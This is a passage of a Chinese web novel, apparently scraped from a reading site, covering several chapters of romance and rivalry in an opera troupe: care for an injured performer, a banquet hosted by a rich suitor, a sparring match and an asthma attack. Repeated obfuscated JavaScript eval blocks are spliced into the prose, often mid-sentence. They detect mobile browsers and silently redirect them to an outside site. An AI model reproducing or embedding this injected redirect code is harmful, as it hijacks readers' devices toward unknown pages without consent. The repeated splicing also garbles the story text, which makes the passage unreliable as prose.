梁赞一挥手,嗐了一声,才替他旋上盖子,慢悠悠地说: “懂得不多,还不都是……” 话到嘴边,他又挠头嘿嘿一笑。 还不是平时打架打多了,天天擦药擦出来的经验嘛。 二娣打量的眼神看得他有些晦涩,他又嘿嘿一笑,眼睛不着痕迹打量着他的化妆柜,当看到那敞开的小抽屉里,另外一个小罐子,他顺势转移话题。 “别说这个了,那一罐又是什么?” 没等二娣说话,他便擅自拿了出来,旋开盖子闻了闻。 “嗯,这罐又是什么,香香的,我闻不出来。” 二娣接过他手里的罐子,没好气看了他一眼说: “以后没我同意,不允许乱动我的东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086480|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有,闻不出来就对了,这是……擦手的。” 说罢,他又拿起另外一根干净的细竹杆挑了一点出来抹在手背上,然后手背对手背细细的抹匀。 梁赞愣愣的看着那双比女人还纤长细嫩的手,突然反应过来: “哦~,我知道了,扮花旦嘛,不得好好保养手嘛。” “哼,你还不算太笨。” 二娣给手做好保养,这才收拾好东西,准备回去睡觉,却发现梁赞亦步亦趋地跟在他身后。 他突然停了下来,梁赞一个不察直接撞上他,头都伸到二娣肩膀前了。 他转头对二娣嘿嘿一笑,娣对他翻了个白眼,肩膀往后一怼,把他震开,边走边冷冷地说: “跟着我干什么,还不去睡觉。” 梁赞一路小跑跟了上去,又没皮没脸的把头伸过去: “嘿嘿,你不知道了吧,喏,你看!” 他指了指二娣床侧那个位置。 “以后我就睡这儿了。” 二娣望着隔壁床头那个赞的木牌子,忍不住又回头看了一眼入口处旁边那个小床。 此时那个床上有一小团隆起,仿佛是察觉到了他的视线,那团隆起动了动,然后发出一声闷闷的哼。 搬到省城来,戏台子大了许多,连这睡觉的地方,也空旷了不少,那声冷哼,硬是从门口一路传到他们这边来。 众人突然又嘘了声,内室此时静得连一根针掉地上都能听见。 “咯吱!” 梁赞一脸尴尬地躺在床上: “哈哈,这床还会叫。” 二娣冷冷睨 了他一眼,转身回到屏风后,也躺了下来,此时心情差到极点: 本小章还未完,请点击下一页继续阅读后面精彩内容! 第26章 吃什么吃,不许吃! 静之辛辛苦苦烧了锅水,又掺了点凉水,见盆里水温适中,她这才满意的端起,直奔内室。 刚走到那屏风附近,她远远的就看到梁赞光着上身,趴在他小床上咬着辫子闷哼出声,二娣则拿着药酒正给他推拿呢。 梁赞看到她过来,绷着背,把哀嚎吞落肚去,赶紧撩了一旁的被子盖住自己。 “师……静之,你来啦?” “……嘁,没什么好看的,遮什么遮。” 还未再上前一步,二娣就拉着个脸朝通财使了个眼色,通财哦哦两声,赶紧过来端水。 “你先出去。”他说。 “要不要帮忙?” “这里没你帮得上的。” 他站在床脚背对着她,死死围住她的视线。 好心被当成驴肝肺,静之指着二娣的后脑勺怒骂: “你!臭弟弟!” 二娣浑身一震: “……我二十五。” 静之嘴一撇: “姑奶奶我二十八,你还不是臭弟弟?!” “……呵。” 静之眉心一跳,二娣已然摘了假发,只是还未卸妆,看着他后脑勺快垂到他腿上的小辫子,那辫子晃晃悠悠的,还画着圈,好似在嘲笑她似的,静之气不打一处来。 于是趁他俯身给梁赞擦药时,上前一大步,快速扽一把他的辫子,然后转身就跑。 二娣头皮一痛,骤然挺起身,虚张着手,两手都是药油,默默转过头,看着她逃跑的背影。 那急速的脚步里竟还带着几分欢快,二娣莫名没有生气,只是眼神又暗了暗。 若是能让她高兴,扽一下就扽一下了。 他转过头刚要给梁赞接着推拿,就看到梁赞一脸揶揄看着他: “娣哥,我以为你会追出去打她呢!” 毕竟上次他就说了一句粗话,就被他扇翻了。 二娣瞪了他一眼,搓揉的手暗暗使了点力道,直把梁赞按得一根乌亮的辫子都快咬断了。 “唔,娣哥,我不说了我不说了,你轻点,脊梁骨要被你按断了。” “……哼!你这伤,最好躺几天。” “知道了。” …… 等二娣给梁赞处理好伤口,已经是深夜,梁赞一身冷汗,他一身热汗。 他这才记起自己还未卸妆更衣。 原本他以为他刚刚又惹她生气,而且这么晚了,她不会给他备水。 可等他卸完妆,走进更衣室时,那个熟悉的木桶里,依旧装满了热气腾腾的水。 她肯定又想烫死他。 这是他的第一想法。 于是他小心翼翼把布巾放进去,伸出一点指甲盖要将布巾挑起时,一点指腹的皮肤却感受到了那暖中带一点点微热的温度。 他瞪大了眼睛,仿佛不可置信的样子,于是又将整根手指伸进水里。 唔,是他错怪人家了。 二娣边擦着身子,精神却有些恍惚,心口的跳动,一下快过一下,仿佛那里揣着只垂死挣扎正蹬腿的兔子。 …… 他浑浑噩噩洗了个痛快澡,走出更衣室时,却觉得有些头昏脑涨,喉咙也有些痒。 进入内室时,他终于忍不住,轻轻咳嗽了两声。 装睡的静之倏然睁眼。 她微微抬起头看向那个黑暗角落里的屏风,眼里突然带上一点担忧。 小病秧子…熬个夜就要感冒了? …… 第二天一早。 班主小心翼翼拿着一份烫金的帖子细看,又偷偷瞄了一眼旁边坐着的静之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086481|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟二娣。 他咽了咽口水说: “你们俩去不去?人家财大气粗,包了整个酒楼,就为了请我们整个戏班吃顿饭呢!” “……” “……” 二娣和静之对视一眼,又同时别开视线。 静之有些烦那倪飞,不是很想去,但是那人给班主招来了不少达官贵人,这两日班主乐得见牙不见眼。 一想到班主对她平时的照顾,她突然就说不出拒绝的话。 二娣则是莫名的,不想让他二人私下里见面,但又怕一出声拒绝,她又生气,一时竟也愣在原地。 班主嗫嚅了半天嘴,才吞吞吐吐地说: “那,那晚上就不上戏了,给大家放个假,去吃一顿?” 他俩还没说什么呢,门外那些偷听的姑娘汉子们,瞬间爆发出一阵响亮的欢呼声! “好耶好耶,晚上出去玩喽!” “(⊙o⊙)哇,有人请客吃饭,一定要去啊!” “下酒馆子吃,我可没去过几次呢!” “我也是我也是。” 静之和二娣皆暗暗叹了口气。 二人此时的想法,鬼使神差的达成一致。 算了,不过是吃顿饭罢了,去就去。 …… 接下来静之又去后厨忙活了,二娣则依旧去前面排戏。 中午时分。 后厨做好饭,周婶打发她出来叫二娣他们吃饭。 一出来,就看到梁赞一瘸一拐端着碗东西,朝正拿着小茶壶喝茶,歇息着的二娣走去。 搞什 么鬼? 难道梁赞这个臭小子良心发现,给二娣抓药喝了? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第27章 男俊,女靓。 今夜,月大如盘,静之觉得不点灯都能看清脚下的路。 戏班子众人一听说晚上要被请到酒楼吃饭,都乐得不行,早早就出发了。 只余下心不甘情不愿的静之跟二娣,还有紧紧黏着二娣的头号跟班——梁赞,以及梁赞的头号跟班——通财。 他们四人缀在最后面,缓缓走着。 瞧着前面三人仿佛排火车一样的走姿,走在最后面的静之不由得撇了撇嘴。 今夜没戏看,酒楼又被包了,街上人不算多,省城的大道空旷的很,他们三个这是要闹哪样? 搞笑。 没走多久,就听到二娣啧了一声。 她抬眼看去,就看到二娣正弯下腰提着鞋子。 “你们两个走到前面去!” “嘿嘿,娣哥,我不是故意的,谁叫你走得慢啊。” “大少爷,你走的快,你先请!” 二娣索性侧过身,把路让给梁赞。 梁赞一脸慌张跟委屈: “不叫我少爷行不行啊?” 娣哥一叫他少爷,尤其是大少爷,仿佛被拉开了距离般,他的心里直发慌。 “走不走?” “走走走!” 见他娣哥板起脸,梁赞扯着通财溜得飞快。 二娣却是没有马上走,而是站在原地等着还离了老远的静之。 静之稳住心神,默默走到离他有一人身位的旁边,忍不住提醒句: “走吧,夜里风大。” 二娣负在身后的手缓缓捏紧,仿佛想到什么,又无力的垂下。 他低低应了声,抬脚先行。 穿过了大街,又穿过一条小路,两人始终保持着不远不近的距离,一时无话。 “咳咳!” 夜风微凉,二娣只觉得喉咙一阵瘙痒,忍不住握拳抵住嘴,咳嗽了两声。 静之拧眉看着侧前方那道削瘦的身影,忍不住又说了句: “二娣,晚宴都是大鱼大肉,你……别多用,身子要紧,我灶上还给你留着粥呢,晚上回去吃点再睡。” 二娣突然停下脚步,脑子仿佛撕裂成两半,身后的手想伸又不敢伸,只得紧紧握住自己的辫子。 半晌,见她垂头只顾看自己脚尖,他悄悄盯着她头顶的发旋,一句问话裹挟着微风悠悠吹进静之的耳朵里: “为什么……对我这么好?” 从一开始就是。 不管他如何刁难,她都照单全收,虽然有时候她也会恶搞,但总的来说,她对他的好…已经远远超过一般丫鬟的程度。 有时候,他忍不住会产生一些幻想,但又不敢深想…… …… 静之: 为什么…… 若是他想明白了,便不会问了。 他还是…在抵触她的吧。 “没什么,走吧,要开席了。” 静之有些失落。 她指甲死死抠着掌心,突然昂起头,也不看他,挺直了背,率先走上桥去。 二娣跟在她身后,阖下眼皮,看着她手心渐渐浮起的月牙印,闭了闭眼,心里突然一阵刺痛。 …… 就在这时,妄图用周围灯火通明的酒楼环境,来麻痹自己神经而到处乱看的静之,突然见到了个老熟人。 她猝不及防止住脚步。 二娣差点就一把将她撞到桥下去。 身子晃荡了一下,像是闻到一点来自她发间的香甜,又好像没有。 他往旁边撤了一点,有些怅然若失。 这时,静之指了指拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086482|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥右下方昏暗处,一对幽会的男女,而这桥对面就是倪飞请客的那酒楼。 她头也不回对二娣说: “那是阿桂吧?” 二娣没有回应。 此时,他正愣愣地看着她耳后的一颗小小的痣,突然觉得喉咙又有些痒,却是不想咳嗽。 微风拂起她鬓角的发丝,正有一搭没一搭,撩在他挽起袖子的胳膊上,有些痒,有些冰凉,手却不想挠。 他的身体,可能是……想造反了吧? “嗯?说话!” 感知到来自侧后方的呼吸,她一杵子杵到他腰间,却是另一手扶着桥梁,眯着眼看着不远处昏暗灯光下的两人。 二娣又往旁边撤了一步,远离那发丝的撩拨,这才掀起眼皮往拱桥的右下方望去,刚瞥一眼,他面色立马就冷了下来。 “是他。” 男的倒是老熟人,那姑娘却是陌生得紧。 阿桂倒是好手段,这么快又撩了一个。 静之回过头一脸严肃说: “我觉得你得跟梁赞商量一下,这样的人留在戏班里会害了你们的,你看昨晚你们——” 二娣抬手制止: “我……自有打算。” 静之看他一脸犹豫,就知道他又心软了,她咬着牙,瞪了他一眼。 也不等他,就噔噔噔,两阶一跳,跑下桥去。 又越过一块木板,然后猫下身子,放轻脚步悄悄靠近那对卿卿我我的男女。 也许是正打得火热,也或许是酒楼里的人声鼎沸掩盖了她轻微的脚步声,阿桂同那女子竟然一点儿也没感觉。 她 顺顺利利地溜到那阿桂身后,突然暗笑一声。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第28章 暗流涌动 静之此时如坐针毡,本来她左边是二娣,右边是梁赞。 梁赞还未坐下呢,倪飞就一个箭步上前,率先坐下。 梁赞挠了挠头,不知嘀咕什么呢,又转到二娣另一边坐下。 见请客的主人进来了,众人也纷纷落座,倪飞看着乖乖坐在他身旁的静之,心情不是一般的好,仿若今晚是他俩的新婚酒席般,他站了起来: “我先敬大家一杯。” 说罢,众人纷纷起身,二娣脸虽黑着,但修养依然在,他还是捏着杯盏站了起来。 而静之此时怕极了倪飞,不知道他又要搞什么幺蛾子,于是起身的时候,顺便脚尖后伸,把身后的椅子往二娣的位置勾去。 轻微的咯吱声响起,她左右两人的表情瞬间互换。 二娣嘴角微微上扬,倪飞脸臭得不行,并轻哼了一声,饮下那杯酒。 那声轻哼仿佛预告着,这顿饭…不会安稳结束。 二娣的酒杯刚被抬到下巴,就被旁边伸过来的小手一把夺走。 似乎是觉得不喝不礼貌,她左一杯,右一杯,先后喝下。 这才出声解释: “他不能喝酒,我替他喝。” 倪飞的眼神突然黯淡下来,眼角瞥见二娣嘴角的那抹笑意,他又怒从心起。 于是众人落座后,他一个拱手: “梁师父,昨天在戏台上看到你的身手,我倪飞非常的敬佩。” 静之朝梁赞去了个眼神,他瞬间反应过来,捏起酒杯说: “谢谢你的捧场,我替娣哥敬你一杯。” 倪飞冷笑一声,给自己倒了一杯酒,双手执杯对着二娣,一脸客气,却是暗含试探: “以梁师父的造诣,不至于连一杯酒,都要别人替你喝吧。” 二娣还没说啥呢,静之转身从经过的伙计那儿提溜过来一壶热茶,给二娣的酒杯倒了一杯。 “喏,给你。”她递给二娣。 又给自己满了一杯酒,将酒杯拿了起来对着倪飞。 “我跟你说过了,他不能喝酒,就以茶代酒吧,你要喝,我跟你喝!” 倪飞的酒杯凝在空中,指节捏得发白。 不等他喝,静之率先喝完,又朝他亮了亮杯底。 不就是喝酒,她没在怕的。 倪飞委屈地看了静之一眼,脸上客气的表情差点绷不住,只能一口饮尽那杯酒,只觉得酒从来没那么辣过,一股火从喉咙直顺到胃里,又从心口迸发出来。 二娣则是愣愣地看着他桌前小巧的酒杯。 此时,他脑子里被一句话刷屏。 这杯子…她抿过了,我该不该…喝呢? 神经大条的静之还未发现这个问题,她的脚轻轻踢了一下二娣的鞋,侧过嘴巴小声的说: “快喝,我给你倒的是茶,别怕。” 一股酒香突然随着清风从他耳际萦绕到他鼻尖,二娣耳朵红了大半。 他轻唔了一声,拿起面前的酒杯,却是不敢印上那个小小的唇印,而是挪动手指转了半圈,才饮下那杯热茶。 这时耳边又传来一声小小的愤怒气声: “……你嫌弃我!” 他掀起眼皮看她一眼,却是莫名的委屈,又将头撇到梁赞那侧,才轻轻说了句: “……我没有。” 看着隔壁两人宛如打情骂俏的场景,倪飞心里的火烧的更旺了,他眸色沉沉看着红着耳朵的二娣: “你的功夫这么好,如果没有一个好的对手,你说多可惜!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086483|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 静之眼皮突然一跳。 他这是什么意思,刚想张嘴,桌下二娣扯了扯她的袖子安抚,又淡淡地朝倪飞说: “如果对手太好的话,我早就应付不来了。” 倪飞眼尖的很,桌子底下的动静,怎么能瞒得了他,于是他意有所指: “我走遍了大江南北,无论什么人……想深藏不露,都逃不过我的眼睛。” 话刚说完,静之轻拍了一下二娣的手,有些害羞地看着他。 看吧。 拉拉扯扯,被人家发现了,可真是尬死了。 二娣收回手放在膝盖上,却是悄悄握紧,嘴上又不咸不淡的客套着: “我们走江湖的,不过是花拳绣腿罢了。” 梁赞那个傻小子,完全不知道这边的动静,他还以为倪飞那厮是在讽娣哥,他怒了: “娣哥,你也用不着太客气,过分谦虚就是虚伪。有真功夫,干嘛客气呢?” 静之两手握着椅座,朝侧边伸长了脚,狠狠朝他脚尖碾了下去。 傻……子! 说的什么话,恨不得他娣哥跟倪飞当场打起来是吧?! 梁赞手往下伸,涨红了脸,刚要闷哼出声,却同时收到二娣跟静之警告的眼神两枚,他刚将痛呼声吞下,通财却心疼得直给他夹菜: “少爷,你饿到胃痛啊?多吃点多吃点!” 这边暗流涌动,那边倪飞又试图挑起争端,话语中还带着几分咬牙切齿: “不知道为什么,我一看见了高手,自然就觉得手痒痒了。” 边说着,还边捏着拳头朝二娣秀了秀。 二娣要是怕他,就得改 名叫三弟了。 这章没有结束,请点击下一页继续阅读! 第29章 病发 两人刚站定,梁赞这时就凑了过来: “你说谁会赢?” 看着不远处面对面站立,剑拔弩张的两人,静之渐渐皱起了眉头,甚至连刚刚上头的酒意都去了三分: “不管谁赢,一定要快。” “为什么?” 静之没有回话,看着二娣此时越发苍白的脸色,她无端觉得有些不妙。 梁赞顺着她的眼神看过去,也发现了二娣的异常,于是他紧紧盯着对面的倪飞,一路蹭到二娣身后: “娣哥,怎么站那么久还不开始啊?” 高手过招,有时候只需要一个眼神,梁赞突然横插一脚,二娣有些愠怒,边死死盯着对面的倪飞,又偷偷一脚后撤。 然后以迅雷不及掩耳之势,狠狠踩了梁赞一脚。 “啊!” 梁赞一个吃痛,竟然直接把二娣推向倪飞。 他这一动,仿佛打响了战斗的第一枪,两人迅速交手上了。 梁赞还搁那儿杵着观战呢,下一秒耳朵就被提了起来。 他边嚎边侧头回望,发现是踮着脚,一脸怒容的静之,他眼神一转: “不是你说要快的吗?” 静之牙根子都快磨出火星了,她扯着梁赞的耳朵快步拉到一边: “快也不是这个快法,有时候先发制人,不是什么好事!” “哎呦,姑奶奶,你快放开我家少爷,耳朵都要被你拧紫了!” 通财嚎得像是拧在他耳朵上一样,看着梁赞被提在空中红得透明的耳朵,心疼得不行,却又不敢上前。 梁赞理亏,一时心虚,就未挣扎。 静之没理他,眼神又一直往过招的那两人那儿瞟,一时之间这三人竟也僵持住了。 就这么一会儿的功夫,那两人已然过了数十招。 倪飞本就心里带着火气,所以招招凌厉,直取二娣喉间。 二娣虽先发制人,却不得不先格挡下他暗含教训之意的掌法,眼瞅着他漏了下风,静之不由得又把梁赞的耳朵又往上提了提。 这个臭小子! “静之,放手放手啊,真的要掉了!” “哼!” 不知是听到这边的动静,二娣分了心,竟被倪飞一拳击到胸口,二娣一个侧身后退,突然面露异色。 一直观察这边战局的静之,顺着二娣的眼神看过去,原来是那倪飞的拳头。 倪飞财大气粗,五指皆带满了镶嵌着玛瑙和宝石的戒指,静之眼皮一跳,当即出声嘲讽: “倪飞,都是赤手空拳的切磋,你还带着武器,又算什么好汉?!” 倪飞又怒又委屈,回过头痴痴看着灯下的静之: “我没有!” 静之依旧木着脸,余光瞥到正抿着嘴忍痛的二娣,她从鼻间轻哼一声: “你带着戒指打人还不算?人的拳头能硬过石头吗?” “你!”倪飞的随从咬着牙恶狠狠盯着她,那眼神凶得恨不得过来咬下她一口肉。 静之稳稳的坐着,甚至拿起二娣的杯子给自己倒了一杯茶水,她浅酌了一口,才说道: “难道我说得有错吗?” 她的话和行为,像是一盆凉水,给倪飞浇了个透心凉,当下他大手一挥,制止了欲冲上来的属下,又急又气,拔下手中十个戒指,用力塞在属下怀里,这才朝二娣亮了亮空荡荡的手,眼神却是对着静之: “这回可以了吧?” 静之:“哦。” 她又抿了一口茶水,眼角暗戳戳朝二娣瞄去,当看到他脸上的错愕和一闪而过的羞意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086484|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,静之笑眯眯地饮尽杯中茶,又对倪飞说: “请!” 这仿佛眉目传情的一幕,彻底点燃倪飞的怒火,他咬着牙,跟疯狗似的,转头就朝二娣攻去,二娣见招拆招,心态极稳,渐渐扭转了形势。 两人从庭下一路打到了刚刚那座木板窄桥,木板随着他俩下三路的一踢一挑晃悠个不停,木头吱呀响着,静之的心也渐渐提了起来。 可千万别断啊! 好在,二人在上面过了几招,就跃到对面去了,她快步跟了上去,刚要过桥,一随从却直直站在桥头,伸手拦住了她。 “让开!” 她边说,眼神边往二娣的背影瞅,生怕他一个不小心被击中,那随从却是两掌交错在身前,一副要跟她对线的姿势,静之呲了一声: “我没空跟你打,别以为挡在这破桥面前我就过不去!” 她本想用灵力,耳边却传来围观的群众的窸窣声,静之朝左虚晃了那随从一枪,又突然朝右跑去,然后后退两步,一个冲击,直接大步越过水面,稳稳落在对面。 就这么一小会儿没关注二娣,等她站稳身子,就发现二娣情况急转直下。 他呼吸急促,吐气时不甚顺畅,有时还咳嗽两声,仿佛喘不上来气似的。 眼瞅着倪飞一个鞭腿直抽向他太阳穴,静之瞳孔一缩,脚下一点,飞起一脚,将堪堪划过二娣耳侧的脚踝用力蹬开: “趁人之危!” 话音刚落,二娣身形晃了晃,扶着柱子就蹲了下来。 他只觉得憋闷的胸口仿佛破旧的风箱,怎么喘,都 无法有效的吸进去一点气,喉咙同时一阵发痒,引得他不断咳嗽,却又缓解不了一点。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第30章 没有幻想了 静之在大门口徘徊了许久,期间又回去看了几趟二娣,但是每每进去一次,就会被他讽出来,给静之气的,抓起他的手又咬了一口,却是不敢再重重咬了。 小病秧子,咬坏了,心疼的还得是她。 见到前老板的惨状,戏班里众人也没脸在吃下去,三三两两的都已回来,梁赞和通财却不知去向,可给她急的,后来她甚至爬到了最高处乐丰年的灯牌上站着。 又等了不知道多久,乐丰年的动静都消停下来,众人都入睡了许久,她这才听到一阵呼哧带喘的声音,还有一老头无奈的埋怨: “我说小伙子,你把我放下来,我是老了,不是瘸了,我能走。” “嗬——嗬——就你那蜗牛速度,等你走到乐丰年,嗬——我师父就要——哎呀,不跟你说了,前面就是!” 这声音——是……梁赞! 静之脚下轻轻一点,从灯牌上俯冲而下,直飞向不远处那个费力奔跑的身影。 梁赞好不容易跑去医馆,把正要入睡的大夫掳走,又背着他和一个大药箱子跑了许久,这回已经累得不行,脚步犹如万斤重,但他却不敢停下来,生怕来晚一步,他的未来师父就要没了。 正当他肺都快要爆炸,嘴里直泛起一股血腥味的时候,一道身影从天而降。 他还没来得及反应,一只素手拎起他背后那老头的领子一个转身就疾驰进乐丰年。 梁赞愣愣地看着飞速消失的二人,好半晌,才反应过来那是静之。 他不由自主看了看离地七八米高的灯牌,又看了看一片漆黑的戏台入口,心里头只有一个想法—— 她的轻功可真好,要不…顺便也找她拜个师?! 正这样想着,二娣那张面如金纸的脸又浮上他的脑海,梁赞抬起酸痛的手狠狠给了自己一个耳刮子。 想什么呢! 现在是想这些的时候吗? 他一咬牙,又朝里奔去。 一进入内室,借着窗外的月光,就看到二娣躺在床上,满头虚汗,刚刚那个大夫此时正一脸严肃给他把着脉,静之则在一旁徘徊,时不时还问两句: “大夫,怎么样怎么样?把出什么了吗?” 梁赞冲了过去,半跪在二娣床头,一脸歉意看着他,差点没把坐在一旁的大夫怼到凳子下。 “娣哥,你感觉怎么样?” 静之朝他翻了个白眼: “把着呢把着呢,你别吵吵!” 大夫朝她翻了个白眼: “你也别吵,吵得我都乱了!” 二人悻悻闭嘴。 大夫挪了挪屁股往前坐,又将手指搭在二娣脉上,时间越久,他的眉头压得越低,又不时浮起一丝讶异,最后还是叹了口气。 梁赞跟静之的心情随着他的表情变化,跌宕起伏,见到他居然叹气了,两人提着的那颗心终于沉入谷底。 “怎么样?”×2 大夫有些无语地看着异口同声的两个人,他收回手,打开他的药箱,却没有拿药,而是拿出一张宣纸。 “有笔墨无?” “有有有,我去拿!”梁赞像一阵风一样,冲了出去,不到10秒,又刮了回来。 里头气氛凝重的很,他不敢大口喘气,却是略微屏住呼吸问: “我娣哥怎么样了,你倒是说呀?” 大夫看了眼正在研磨的静之,又观察一下二娣的脸色,这才叹了口气,悠悠说着: “他这个病是远年旧喘,我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086485|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够替他治标,我先给他开个药方,不过,倒是有点疑点。” 梁赞把脸伸到正沾墨写药方的老头面前问: “什么疑点?” 老头又瞄了研完磨,走到另一侧的静之两眼,才说: “刚刚我替他把脉,病发时间应当是半个多时辰以前,按理说,这个时候他应当更加虚弱,但脉象却是凝实,不似病重的样子。” 梁赞鬼使神差朝静之去了一眼,却见她幽幽坐在床边,阖下眼皮,情绪全掩。 他一时竟看不出是不是她动的手脚,只能又问: “是不是因为我娣哥身手好,所以脉才稳的?” 大夫摇了摇头说: “我也不知道,但总归是坏事中的一点好事。” 梁赞泄了气,只倒着眉,看着床上不时咳嗽一声的二娣说: “师父,都怪我不好。” 静之:“是该怪你!拱什么火嘛!早上跟你说过的,他昨晚上替你擦药受了风寒,你不是知道了嘛!” 二娣默默抬眸看了她两眼,却是没有反驳,而后又垂眼看向梁赞: “师父这两个字,我不承认,我根本就没收你为徒。” 梁赞悻悻弓下身子: “如果我不是被人打,就不会逼你出手。如果你不出手,就不会引倪飞来。如果不引倪飞来,你就不会跟他动手。如果你不跟他动手,就不会旧病复发。如果旧病不复发,你——” “闭嘴!” 二娣和梁赞同时看向静之。 她此时眼泪在眼眶里头打转,一脸歉意看着二娣: “都怪我,要是我那晚不出去的话就好了。” 这章没有结束,请点击下 一页继续阅读! 第31章 赶紧逃命 这一觉,静之睡得极不安稳,她那两条细细的剑眉紧紧地拧在一起,像是打了一个解不开的结,额头上也逐渐冒出了点点细汗,眼皮底下的眼珠子正不安地转动着。 在梦中,林风、小九、两只可爱的小猫崽以及二娣,如同走马灯般轮番出现在她的眼前。 然而,这个梦境并非充满温馨与欢乐,而是弥漫着一股诡异而压抑的气息。 无尽的黑暗笼罩着一切,突然,又有两张陌生的面孔在黑暗中浮现出来。 尽管这两张脸显得有些模糊,但她却感觉到一种莫名的熟悉感。 当她努力凝神望去时,却发现那两人面色阴沉,毫无表情,唯有一双眼睛散发着阴森的光芒,犹如两道冷箭直直地射向她。 似乎察觉到了她的注视,那两张脸以惊人的速度朝她急速逼近。 可此时的她,却像是被施了定身咒一般,手脚完全无法动弹分毫,只能眼睁睁地看着那两张恐怖的面容越来越近。 难道这就是传说中的梦魇吗? 就在这时,她的脑海中突然回响起之前林风曾经对她说过的话: “若是遇到梦魇,只要尝试动动手指或者脚趾,便能从噩梦中苏醒过来。” 想到这里,她立刻将所有的注意力都集中到了自己已经麻痹的双脚之上,拼尽全力想要让脚趾活动起来。 就在那两张狰狞的面孔即将贴近她的时候,她的脚趾终于微微颤动了一下。 正当她心中涌起一丝欣喜之情时,一道寒光凛冽的剑影突然从她的眼角掠过,冰冷的剑气令她不禁浑身一颤,冷汗瞬间湿透了后背。 这一刻,她感觉死亡离自己如此之近。 就在她满心绝望,以为自己小命不保之时,虚空中突然传来了几声低沉压抑的咳嗽声…… 仿佛被按了暂停按钮,那笔直的剑影和那两张脸突然止在她面前,然后不断扭曲缩小,又忽而全部暗了下来。 静之的双腿像是被一股强大的力量驱使着,猛地用力一蹬。 随着这股爆发力,她的身体不由自主地向前冲去—— “咯吱。” 床板仿佛不堪重负,响起一声。 “嗬……嗬……” 静之猛地翻身坐起,她瞪大双眼,大口大口地喘着粗气,仿佛刚刚经历了一场生死搏斗。 最先恢复知觉的是触觉,她能清楚地感受到后背上湿漉漉的汗水已经将衣物完全浸湿,冰冷的感觉透过布料传来,让她忍不住打起了寒颤。 静之用颤抖的右手紧紧捂住那颗正在疯狂跳动的心口,试图让它平静下来。 她的瞳孔仍然处于极度收缩的状态,显然还没有从刚才那场可怕的噩梦中完全摆脱出来。 出于本能反应,她下意识地快速转过头,目光急切地看向身旁的二娣。 只见他此刻依旧背对着自己,安静地躺在床上。 然而,原本盖在他身上的被子不知何时已经滑落至地面,他的一只手则乖巧地放置在腿侧。 或许是由于咳嗽的缘故,他的身子时不时地轻轻颤动着。 静之深深地吸了一口气,然后缓缓吐出。 心中那块悬着的巨石终于稍稍落了地。 还好,他还在。 